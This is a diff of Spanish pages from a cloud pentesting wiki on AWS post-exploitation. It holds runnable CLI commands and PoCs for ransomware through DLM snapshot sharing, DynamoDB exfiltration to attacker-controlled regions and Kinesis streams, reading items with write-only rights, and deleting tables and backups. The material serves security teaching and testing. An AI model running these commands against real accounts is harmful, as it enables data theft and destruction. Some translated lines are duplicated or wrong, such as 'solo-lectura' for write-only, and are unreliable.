+Para avanzar en la explotación de una cuenta, puede que necesites deshabilitar/habilitar los controles de Control Tower:
 ```bash
 aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLM Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Administrador del Ciclo de Vida de Datos (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.
-
-Primero, se utilizará un comando para recopilar información sobre los volúmenes, como ID de instancia, ID de volumen, estado de encriptación, estado de adjunto y tipo de volumen.
-
-`aws ec2 describe-volumes`
-
-En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Se puede ver una plantilla para el documento de política aquí:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Un ataque ransomware puede llevarse a cabo cifrando tantos EBS volumes como sea posible y luego eliminando las instancias EC2 actuales, los EBS volumes y los snapshots. Para automatizar esta actividad maliciosa se puede emplear Amazon DLM, cifrando los snapshots con una KMS key de otra cuenta AWS y transfiriendo los snapshots cifrados a una cuenta distinta. Alternativamente, podrían transferir snapshots sin cifrar a una cuenta que controlen y luego cifrarlos allí. Aunque no es sencillo cifrar directamente volúmenes EBS o snapshots existentes, es posible hacerlo creando un nuevo volume o snapshot.
+
+Primero, se usará un comando para recopilar información sobre los volúmenes, como instance ID, volume ID, encryption status, attachment status y volume type.
+
+`aws ec2 describe-volumes`
+
+En segundo lugar, se creará la lifecycle policy. Este comando emplea la DLM API para configurar una lifecycle policy que toma automáticamente snapshots diarios de los volúmenes especificados a una hora designada. También aplica tags específicos a los snapshots y copia tags desde los volúmenes a los snapshots. El archivo policyDetails.json incluye los detalles de la lifecycle policy, como target tags, schedule, el ARN de la KMS key opcional para el cifrado, y la target account para compartir snapshots, lo cual quedará registrado en los CloudTrail logs de la víctima.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Una plantilla para el documento de la política se puede ver aquí:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
-# AWS - DynamoDB Post Explotación
+# AWS - DynamoDB Post-explotación
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Para más información, consulta:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Un atacante con este permiso podrá **obtener items de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas obteniendo los metadatos de la tabla (`describe-table`).
+Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`)).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**Al igual que los permisos anteriores** esta permite a un potential attacker leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
+**Al igual que los permisos anteriores** este permite a un posible atacante leer valores de una sola tabla dado la clave primaria de la entrada a recuperar:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** Indirect privesc al localizar información sensible en la tabla
+**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
 
 ### `dynamodb:Query`
 
-**Similar to the previous permissions** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subconjunto de comparaciones](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la DB en una solicitud.
+**Al igual que los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una sola solicitud.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -111,11 +111,11 @@ aws dynamodb query \
 
 ### `dynamodb:Scan`
 
-Puedes usar este permiso para **hacer dump de toda la tabla fácilmente**.
+Puedes usar este permiso para **dump toda la tabla fácilmente**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Impacto potencial:** Indirect privesc mediante la localización de información sensible en la tabla
+**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
 
 ### `dynamodb:PartiQLSelect`
 
@@ -124,14 +124,14 @@ Puedes usar este permiso para **dump la tabla completa fácilmente**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Este permiso también permite ejecutar `batch-execute-statement` como:
+Este permiso también permite realizar `batch-execute-statement` como:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
 pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil.
 
-**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
+**Impacto potencial:** Escalada de privilegios indirecta al localizar información sensible en la tabla
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Ten en cuenta que para que esto funcione la tabla necesita tener habilitado point-in-time-recovery; puedes comprobar si la tabla lo tiene con:
+Tenga en cuenta que para que esto funcione la tabla debe tener habilitado point-in-time-recovery; puede comprobar si la tabla lo tiene con:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Si no está habilitado, tendrás que **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
+Si no está habilitado, deberás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
+**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Con estos permisos, un atacante podría **crear una nueva tabla desde una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Luego, con los permisos necesarios, podría consultar **información** de las copias de seguridad que **ya no esté en la tabla de producción**.
+Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Entonces, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no podrían estar en la tabla de producción**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Impacto potencial:** privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
+**Impacto potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
 
 ### `dynamodb:PutItem`
 
-Este permiso permite a los usuarios añadir un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, **el item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada.
+Este permiso permite a los usuarios agregar un **nuevo ítem a la tabla o reemplazar un ítem existente** con un nuevo ítem. Si un ítem con la misma clave primaria ya existe, el **ítem completo será reemplazado** por el nuevo ítem. Si la clave primaria no existe, se **creará** un nuevo ítem con la clave primaria especificada.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,34 +242,34 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder añadir/modificar datos en una tabla de DynamoDB
+**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-Un atacante con este permiso puede **eliminar una tabla de DynamoDB, provocando pérdida de datos**.
+Un atacante con este permiso puede **eliminar una tabla DynamoDB, causando pérdida de datos**.
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Impacto potencial**: Pérdida de datos e interrupción de los servicios que dependen de la tabla eliminada.
+**Impacto potencial**: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada.
 
 ### `dynamodb:DeleteBackup`
 
-Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente puede causar pérdida de datos en caso de un escenario de recuperación ante desastres**.
+Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potential impact**: Pérdida de datos e incapacidad para recuperarse a partir de una copia de seguridad durante un escenario de recuperación ante desastres.
+**Impacto potencial**: Pérdida de datos e incapacidad para recuperar desde una backup durante un escenario de recuperación ante desastres.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: Probar si esto realmente funciona
 
-Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorizar los cambios en la tabla en tiempo real**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, lo que podría conducir a una fuga de datos.
+Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear los cambios en la tabla en tiempo real**. Esto permite al atacante monitorizar y exfiltrate los cambios de datos, potencialmente conduciendo a data leakage.
 
 1. Habilitar un stream en una tabla de DynamoDB:
 ```bash
@@ -284,7 +284,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Obtén el shard iterator usando el stream ARN:
+3. Obtén el iterador de shard usando el ARN del stream:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Usa el shard iterator para acceder y exfiltrate los datos del stream:
+4. Usa el shard iterator para acceder y exfiltrar datos del stream:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Impacto potencial**: Monitoreo en tiempo real y data leakage de los cambios en la tabla DynamoDB.
+**Impacto potencial**: Monitoreo en tiempo real y data leakage de los cambios de la tabla DynamoDB.
 
-### Leer elementos mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD`
+### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD`
 
-Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer elementos sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inocua y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa previa a la actualización del elemento en el campo `Attributes` de la respuesta (esto no consume RCUs).
+Un atacante con únicamente `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa del item antes de la actualización en el campo `Attributes` de la respuesta (esto no consume RCUs).
 
 - Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo.
-- Requisitos previos: Debes conocer la clave primaria del elemento.
+- Prerrequisitos: Debes conocer la clave primaria del item.
 
-Ejemplo (agrega un atributo inofensivo y exfiltrates el elemento previo en la respuesta):
+Ejemplo (agrega un atributo inofensivo y exfiltra el item previo en la respuesta):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-La respuesta de la CLI incluirá un bloque `Attributes` que contiene el ítem previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura a partir de acceso solo de escritura.
+La respuesta del CLI incluirá un bloque `Attributes` que contiene el elemento previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo-escritura.
 
 **Impacto potencial:** Leer ítems arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Exfiltración sigilosa añadiendo una nueva Region de réplica a una DynamoDB Global Table (version 2019.11.21). Si un principal puede añadir una réplica regional, la tabla completa se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems.
+Exfiltración sigilosa añadiendo una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una replica regional, toda la tabla se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa CMK en la réplica, puede ser necesario permisos de KMS para esa clave.
+Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
 
-Impacto potencial: Replicación de la tabla completa a una Región controlada por el atacante que permite la exfiltración sigilosa de datos.
+Potential Impact: Replicación de la tabla completa a una Region controlada por el atacante, lo que puede derivar en una exfiltración sigilosa de datos.
 
 ### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en los motivos de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo.
+Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionadamente una `ConditionExpression` mientras establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al producirse el fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-lectura en acceso de lectura sobre las claves objetivo.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
+Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura.
 
-Potential Impact: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.
+Impacto potencial: Leer elementos arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.
 
 
 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-Eludir las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, establecer ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice.
+Elude las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, asignando ese atributo a un valor constante en los elementos, y luego ejecutar `Query` sobre el índice para recuperar los elementos completos. Esto funciona incluso si `Query`/`Scan` en la tabla base están denegados, siempre que puedas consultar el ARN del índice.
 
-- Minimum permissions:
-- `dynamodb:UpdateTable` on the target table (para crear el GSI con `ProjectionType=ALL`).
-- `dynamodb:UpdateItem` on the target table keys (para establecer el atributo indexado en cada ítem).
-- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- Permisos mínimos:
+- `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`).
+- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada elemento).
+- `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-Steps (PoC in us-east-1):
+Pasos (PoC in us-east-1):
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Impacto potencial:** Exfiltration completa de la tabla consultando un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
+**Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continua via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams)
 
-Abusar de DynamoDB Kinesis streaming destinations para exfiltrate de forma continua los cambios de una tabla a un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla.
+Abusar de los destinos de streaming Kinesis de DynamoDB para exfiltrar continuamente los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla.
 
 Permisos mínimos (atacante):
 - `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo
 - Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado
-- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,6 +530,6 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un stream de Kinesis controlado por un atacante sin operaciones de lectura directas sobre la tabla.
+**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un Kinesis stream controlado por un atacante sin operaciones de lectura directas sobre la tabla.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -1,29 +1,29 @@
-# AWS - EC2, EBS, SSM y VPC Post Explotación
+# AWS - EC2, EBS, SSM & VPC Post Exploitation
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## EC2 y VPC
+## EC2 & VPC
 
-Para más información, consulta:
+Para más información consulta:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Espejo VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-El espejeo de tráfico VPC **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusiones en la red (IDS) para análisis y monitoreo.\
-Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:
+VPC traffic mirroring **duplica el tráfico entrante y saliente para instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias.\
+Este tráfico duplicado suele enviarse a algo como un sistema de detección de intrusos de red (IDS) para su análisis y monitorización. Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible del mismo:
 
-Para más información, consulta esta página:
+Para más información consulta esta página:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copiar Instancia en Ejecución
+### Copy Running Instance
 
-Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear un AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de él**:
+Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder a ellas (consulta [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar qué contienen es **crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,43 +49,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Los snapshots son copias de seguridad de volúmenes**, que generalmente contendrán **información sensible**, por lo tanto, revisarlos debería revelar esta información.\
-Si encuentras un **volumen sin un snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta:
+**Snapshots are backups of volumes**, los cuales normalmente contendrán **información sensible**, por lo tanto revisarlos debería revelar esta información.\
+Si encuentras un **volume without a snapshot** podrías: **Create a snapshot** y realizar las siguientes acciones o simplemente **mount it in an instance** dentro de la cuenta:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
-### Exfiltración de Datos
+### Covert Disk Exfiltration via AMI Store-to-S3
 
-#### Exfiltración por DNS
+Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Esto permite análisis forense offline completo o robo de datos manteniendo la red de la instancia intacta.
 
-Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**.
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
 
-- **Los VPC Flow Logs no registrarán esto**.
-- No tienes acceso a los registros DNS de AWS.
-- Desactiva esto configurando "enableDnsSupport" en false con:
+### Live Data Theft via EBS Multi-Attach
+
+Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Útil cuando el volume de la víctima ya tiene Multi-Attach habilitado dentro de la misma AZ.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Proporciona rutas rápidas para lateral movement sin abrir public ports.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Permite evadir ACLs internas o SG rules ligadas a direcciones específicas.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. Reasocia un Elastic IP de la instance víctima al atacante para interceptar inbound traffic u originar outbound connections que parezcan provenir de public IPs confiables.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. Si una security group rule referencia una customer-managed prefix list, agregar attacker CIDRs a la lista expande silenciosamente el acceso en todas las dependent SG rule sin modificar el SG en sí.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
